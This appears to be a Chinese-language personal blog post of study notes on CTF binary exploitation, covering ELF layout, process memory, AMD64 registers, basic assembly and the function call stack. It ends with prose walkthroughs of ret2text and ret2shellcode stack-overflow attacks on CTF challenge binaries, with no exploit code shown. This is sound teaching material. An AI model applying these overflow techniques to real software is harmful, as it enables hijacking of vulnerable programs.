  • 重定位文件不一定需要
• 节头表（Section header table）
  • 记录了ELF文件的节区信息
  • 用于链接的目标文件必须拥有此结构
  • 其它类型目标文件不一定需要

磁盘中的ELF（可执行文件）与内存中的ELF（进程内存映像）#

进程虚拟地址空间#

虚拟地址表述#

地址以字节编码 1Byte = 8bits，常以16进制表示 0x3c = 0011 1100

• 虚拟内存用户空间每个进程一份
• 虚拟内存内核空间所有进程共享一份
• 虚拟内存 mmap 段中的动态链接库仅在物理内存中装载一份

因为当程序运行时，会在内存中创建进程，许多个程序也是如此，但是他们都在操作系统上运行的。程序并不会更改系统内核，当它们调用系统代码时，其实是同一份系统内核，所以许多进程共享一份内核，每个进程拥有独立内存空间。

段（segment）与节（section）#

• 代码段（Text segment）包含了代码与只读数据
  • .text 节
  • .rodata 节
  • .hash 节
  • .dynsym 节
  • .dynstr 节
  • .plt 节
  • .rel.got 节
  • ……
• 数据段（Data segment）包含了可读可写数据
  • .data 节
  • .dynamic 节
  • .got 节
  • .got.plt 节
  • .bss 节
  • ……
• 栈段（Stack segment）
  • 一个 段 包含多个 节
  • 段视图用于进程的内存区域的 rwx权限划分
  • 节视图用于ELF文件 编译链接时 与 在磁盘上存储时 的文件结构的组织

程序数据是如何在内存中组织的#

程序的装载与进程的执行#

大端序与小端序#

小端序	大端序
低地址存放数据低位、高地址存放数据高位	低地址存放数据高位、高地址存放数据低位

进程的执行过程#

AMD64寄存器简述#

AMD64寄存器结构

• rax： 8Bytes
• eax：4Bytes
• ax： 2Bytes
• ah： 1Bytes
• al： 1Bytes

部分寄存器功能

• RIP 存放当前执行的指令的地址
• RSP 存放当前栈帧的栈顶地址
• RBP 存放当前栈帧的栈底地址
• RAX 通用寄存器。存放函数返回值

r开头一般都是64位操作系统的寄存器，大小为8，32位的为4

静/动链接程序的执行过程#

x86&AMD64汇编简述#

常用汇编指令#

MOV LEA ADD/SUB PUSH POP CMP JMP J[Condition] CALL LEAVE RET …… 这里用例子简单介绍几个常用的

MOV

MOV DEST, SRC ; 把源操作数传送给目标

• MOV EAX,1234H ；执行结果（EAX） = 1234H
• MOV EBX, EAX
• MOV EAX, [00404011H] ；[ ] 表示取地址内的值
• MOV EAX, [ESI]

LEA

LEA REG, SRC ; 把源操作数的有效地址送给指定的寄存器

• LEA EBX, ASC ; 取 ASC 的地址存放至 EBX 寄存器中
• LEA EAX, 6[ESI] ; 把 ESI+6 单元的32位地址送给 EAX

PUSH

PUSH VALUE ; 把目标值压栈，同时SP指针-1字长

• PUSH 1234H
• PUSH EAX

POP

POP DEST ; 将栈顶的值弹出至目的存储位置，同时SP指针+1字长

• POP EAX

LEAVE

• 在函数返回时，恢复父函数栈帧的指令
• 等效于：
  • MOV ESP, EBP
  • POP EBP

RET

• 在函数返回时，控制程序执行流返回父函数的指令
• 等效于：
  • POP RIP（这条指令实际是不存在的，不能直接向RIP寄存器传送数据）

两种汇编格式#

栈溢出基础#

C语言函数调用栈#

• 函数调用栈是指程序运行时内存一段连续的区域
• 用来保存函数运行时的状态信息，包括函数参数与局部变量等
• 称之为“栈”是因为发生函数调用时，调用函数（caller）的状态被保存在栈内，被调用函数（callee）的状态被压入调用栈的栈顶
• 在函数调用结束时，栈顶的函数（callee）状态被弹出，栈顶恢复到调用函数（caller）的状态
• 函数调用栈在内存中从高地址向低地址生长，所以栈顶对应的内存地址在压栈时变小，退栈时变大

栈帧结构概览#

• 函数状态主要涉及三个寄存器 —— esp，ebp，eip。esp 用来存储函数调用栈的栈顶地址，在压栈和退栈时发生变化。ebp 用来存储当前函数状态的基地址，在函数运行时不变，可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址，cpu 依照 eip 的存储内容读取指令并执行，eip 随之指向相邻的下一条指令，如此反复，程序就得以连续执行指令。
• 下面让我们来看看发生函数调用时，栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数（caller）的状态保存起来，同时创建被调用函数（callee）的状态。
• 首先将被调用函数（callee）的参数按照逆序依次压入栈内。如果被调用函数（callee）不需要参数，则没有这一步骤。这些参数仍会保存在调用函数（caller）的函数状态内，之后压入栈内的数据都会作为被调用函数（callee）的函数状态来保存。

将被调用函数的参数压入栈内

• 然后将调用函数（caller）进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数（caller）的 eip（指令）信息得以保存。

将被调用函数的返回地址压入栈内

• 再将当前的ebp 寄存器的值（也就是调用函数的基地址）压入栈内，并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数（caller）的 ebp（基地址）信息得以保存。同时，ebp 被更新为被调用函数（callee）的基地址。

将调用函数的基地址（ebp）压入栈内，并将当前栈顶地址传到 ebp 寄存器内

• 再之后是将被调用函数（callee）的局部变量等数据压入栈内。

将被调用函数的局部变量压入栈内

• 在压栈的过程中，esp 寄存器的值不断减小（对应于栈从内存高地址向低地址生长）。压入栈内的数据包括调用参数、返回地址、调用函数的基地址，以及局部变量，其中调用参数以外的数据共同构成了被调用函数（callee）的状态。在发生调用时，程序还会将被调用函数（callee）的指令地址存到 eip 寄存器内，这样程序就可以依次执行被调用函数的指令了。
• 看过了函数调用发生时的情况，就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数（callee）的状态，并将栈顶恢复为调用函数（caller）的状态。
• 首先被调用函数的局部变量会从栈内直接弹出，栈顶会指向被调用函数（callee）的基地址。

将被调用函数的局部变量弹出栈外

• 然后将基地址内存储的调用函数（caller）的基地址从栈内弹出，并存到 ebp 寄存器内。这样调用函数（caller）的 ebp（基地址）信息得以恢复。此时栈顶会指向返回地址。

将调用函数（caller）的基地址（ebp）弹出栈外，并存到 ebp 寄存器内

• 再将返回地址从栈内弹出，并存到 eip 寄存器内。这样调用函数（caller）的 eip（指令）信息得以恢复。
• 至此调用函数（caller）的函数状态就全部恢复了，之后就是继续执行调用函数的指令了。

将被调用函数的返回地址弹出栈外，并存到 eip 寄存器内

函数调用栈的工作方式（cdecl）#

• x86
  • 使用栈来传递参数
  • 使用 eax 存放返回值
• amd64
  • 前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中
  • 第7个以后的参数存放于栈中

函数调用前，EBP的值入栈，ESP存储的是栈顶地址。然后ESP的值传给EBP，函数被调用，此时ESP一直指向栈顶。函数调用结束后，EBP将值传回ESP，EBP跳转到父函数的栈底，ESP又指向了栈顶地址。EIP指向下一条指令，每执行一次指令，EIP的指向都会改变。

ret2text#

• 介绍完背景知识，就可以继续回归栈溢出攻击的主题了。当函数正在执行内部指令的过程中我们无法拿到程序的控制权，只有在发生函数调用或者结束函数调用时，程序的控制权会在函数状态之间发生跳转，这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip，所以我们的目标就是让 eip 载入攻击指令的地址。
• 先来看看函数调用结束时，如果要让 eip 指向攻击指令，需要哪些准备？首先，在退栈过程中，返回地址会被传给 eip，所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次，我们可以在溢出数据内包含一段攻击指令，也可以在内存其他位置寻找可用的攻击指令。

缓冲区溢出（Buffer overflow）#

本质是向定长的缓冲区中写入了超长的数据，造成超出的数据覆写了合法内存区域

• 栈溢出（Stack overflow）
  • 最常见、漏洞比例最高、危害最大的二进制漏洞
  • 在 CTF PWN 中往往是漏洞利用的基础
• 堆溢出（Heap overflow）
  • 堆管理器复杂，利用花样繁多
  • CTF PWN 中的常见题型
• Data段溢出
  • 攻击效果依赖于 Data段 上存放了何种控制数据

• 篡改栈帧上的返回地址为程序中已有的后门函数

例子：

这道题，那么多截图，也就看的很清晰了，main函数里俩puts没啥漏洞，但是留了一个vulnerable函数，进入查看，定义了大小为8的数组，但是gets可以输入任何长度的数据，这里我们将数组到ebp之间都填满，这里其实就包含了数组空间，再把ebp寄存器填满，后满紧跟的就是返回地址空间，将返回地址空间里填入后门函数的地址就好。

上图是我的个人理解

ret2shellcode#

• 篡改栈帧上的返回地址为攻击者手动传入的 shellcode 所在缓冲区地址
• 初期往往将 shellcode 直接写入栈缓冲区
• 目前由于 the NX bits 保护措施的开启，栈缓冲区不可执行，故当下的常用手段变为向 bss 缓冲区写入 shellcode 或向堆缓冲区写入 shellcode 并使用 mprotect 赋予其可执行权限

例子：

由此可以看出，保护全关，目标机器可能开了ASLR，题目也是让我们调用shellcode，main里将s复制到buf2，显然可以造成溢出，buf2所在段为.bss，查看段权限，此段拥有rwx权限，那我们就可以生成shellcode，以及足够溢出的字符，再加上buf2的地址即可。为什么要这样构造payload？因为在s中输入数据后，即使复制到了buf2，程序也只是将数据复制一份过去而已，并没有运行buf2代码，程序仍然在main里运行着，所以在s里溢出，将跳转位置覆写为buf2地址，这样程序就跳转到了buf2，并且往下执行shellcode。

有没有发现我换了终端？没错，同一道题，Kali和Ubuntu在查看段权限那里显示不一致。Kali显示没有rwx权限，exp也运行错误，但是Ubuntu显示.bss段有rwx权限，而且可以正确运行exp，那我只能抛弃Kali做题，Ubuntu兼容确实好。

后记（我又重新学pwn了）：pwndbg里面用vmmap发现，buf2所在的bss段并没有执行权限。原因在更新后的CTFwiki里解释了：

需要注意的是，在新版内核当中引入了较为激进的保护策略，程序中通常不再默认有同时具有可写与可执行的段，这使得传统的 ret2shellcode 手法不再能直接完成利用。

需要注意的是，你应当在内核版本较老的环境中进行实验（如 Ubuntu 18.04 或更老版本）。

这里我们以通过mprotect()动态修改过内存页权限的 ret2shellcode 为例，需要注意的是，这样我们就可以在例如 Ubuntu-22.04 这样的现代操作系统中完成这个实验辣~。

这里要么换环境，要么用ROP

今天也算是对之前野路子学Pwn的归纳总结，以前一直是直接做题，不会就看wp，百度，看博客，各种渠道去解疑，然后遇到啥学啥，导致很多底层原理很混乱，这篇文章是一个很好的梳理，后面会继续更新的！

还有一些保护措施，编译，数据结构上的细节没有写到，后面涉及到会继续补充！